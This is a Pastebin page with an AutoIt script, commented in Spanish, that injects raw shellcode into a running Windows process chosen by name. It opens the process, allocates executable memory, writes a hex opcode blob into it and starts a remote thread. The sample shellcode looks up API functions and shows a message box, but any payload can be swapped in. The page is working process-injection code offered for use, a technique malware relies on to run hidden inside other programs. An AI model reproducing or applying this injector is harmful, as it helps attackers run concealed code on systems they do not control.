Advertisement
FlyFar

OP Code Injector - Source Code

Jun 10th, 2023
1,601
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 3.57 KB | Cybersecurity | 0 0
  1. #cs ----------------------------------------------------------------------------
  2.  
  3.  AutoIt Version: 3.3.8.1
  4.  Author: Naker90
  5.  
  6.  Script Function:
  7.     Opcodes Remote Injection Process
  8.  
  9.  Los OpCodes que estan en el ejemplo inyectan un mensaje en el proceso
  10.  
  11.  Testeado en W7 x64 bits
  12.  
  13.  Ejemplo de uso:
  14.  _OpcodesRemoteInjectionProcess('Anotador Naker90.exe') => Inyecta los opcodes en el proceso Anotador Naker90.exe
  15.  
  16. #ce ----------------------------------------------------------------------------
  17.  
  18. Func _OpcodesRemoteInjectionProcess($sProcessName)
  19.  
  20.     ;Constantes necesarias para las llamadas a las APIS
  21.     Const $sProcessAccessRight = 0x1F0FFF
  22.     Const $sVirtualAlocRight = 0x00001000
  23.     Const $sPAGE_EXECUTE_READWRITE = 0x40
  24.  
  25.     ;OPCODES
  26.     Local $sOpCodes = "0xFC33D2B23064FF325A8B520C8B52148B722833C9B11833FF33C0AC3C617C022C20C1CF0D03F8E2F081FF5BBC4A6A8B5A108B1275DA8B533C03D3FF72348B527803D38B722003F333C941AD03C381384765745075F4" & _
  27.             "817804726F634175EB8178086464726575E2498B722403F3668B0C4E8B721C03F38B148E03D35233FF576861727941684C696272684C6F61645453FFD2683332010166897C2402687573657254FFD0686F7841018BDF885C24036861676542684D6573735450FF54" & _
  28.             "242C57685E2E5E218BDC57535357FFD068657373018BDF885C24036850726F63684578697454FF742440FF54244057FFD0C3"
  29.  
  30.     ;Creamos la estructura para los OpCodes y la escribimos
  31.     Local $sOPCodeStrut = DllStructCreate('Byte[' & BinaryLen($sOpCodes) & ']')
  32.     DllStructSetData($sOPCodeStrut, 1, $sOpCodes)
  33.  
  34.     ;Obtenemos el peso de la estructura
  35.     Local $sSize = DllStructGetSize($sOPCodeStrut)
  36.  
  37.     ;Obtenemos el PID del proceso a inyectar
  38.     Local $sPID = ProcessExists($sProcessName)
  39.  
  40.     ;Si el PID es 0 lanzamos un error y salimos
  41.     If $sPID = 0 Then
  42.         MsgBox(16, 'ERROR', '¡El proceso no se encuentra en ejecución!')
  43.         Exit
  44.     EndIf
  45.  
  46.     ;Abrimos el proceso con OpenProcess
  47.     Local $sOpenProcess = DllCall('Kernel32.dll', 'Handle', 'OpenProcess', 'Dword', $sProcessAccessRight, 'Bool', False, 'Dword', $sPID)
  48.     If Not ($sOpenProcess[0]) Then
  49.         MsgBox(16, 'ERROR', 'Hubo un error abriendo el proceso con OpenProcess!')
  50.         Exit
  51.     EndIf
  52.  
  53.     ;Reservamos memoria para la estructura con VirtualAllocEX y la escribimos con WriteProcessMemory
  54.     Local $sVirtualAloc = DllCall('Kernel32.dll', 'Ptr', 'VirtualAllocEx', 'Handle', $sOpenProcess[0], 'Ptr', 0, 'Ulong_Ptr', $sSize, 'Dword', $sVirtualAlocRight, 'Dword', $sPAGE_EXECUTE_READWRITE)
  55.     If Not ($sVirtualAloc[0]) Then
  56.         MsgBox(16, 'ERROR', 'Hubo un error reservando memoria para la estructura!')
  57.         Exit
  58.     EndIf
  59.     Local $sWriteStruct = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $sOpenProcess[0], 'Ptr', $sVirtualAloc[0], 'Ptr', DllStructGetPtr($sOPCodeStrut), 'ULong_Ptr', $sSize, 'Ulong_Ptr', 0)
  60.     If $sWriteStruct = 0 Then
  61.         MsgBox(16, 'ERROR', 'Hubo un error escribiendo la estructura en memoria!')
  62.         Exit
  63.     EndIf
  64.  
  65.     ;Lanzamos el hilo remoto con CreateRemoteThread y esperamos con un WaitSingleObject
  66.     Local $sRemoteThread = DllCall('Kernel32.dll', 'Handle', 'CreateRemoteThread', 'Handle', $sOpenProcess[0], 'Ptr', 0, 'Ulong_Ptr', 0, 'Ptr', $sVirtualAloc[0], 'Ptr', 0, 'Dword', 0, 'Dword', 0)
  67.     If Not ($sRemoteThread[0]) Then
  68.         MsgBox(16, 'ERROR', 'Hubo un error lanzando el hilo!')
  69.         Exit
  70.     EndIf
  71.     Local $sWait = DllCall('Kernel32.dll', 'ptr', 'WaitForSingleObject', 'handle', $sRemoteThread[0], 'dword', 0x7FFFFFFF)
  72.  
  73.     ;Cerramos el handle del OpenProcess
  74.     Local $sCloseOpen = DllCall('Kernel32.dll', 'Int', 'CloseHandle', 'Handle', $sOpenProcess[0])
  75.     If $sCloseOpen = 0 Then
  76.         MsgBox(16, 'ERROR', 'Hubo un error cerrando el handle del proceso!')
  77.         Exit
  78.     EndIf
  79.  
  80. EndFunc   ;==>_OpcodesRemoteInjectionProcess
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement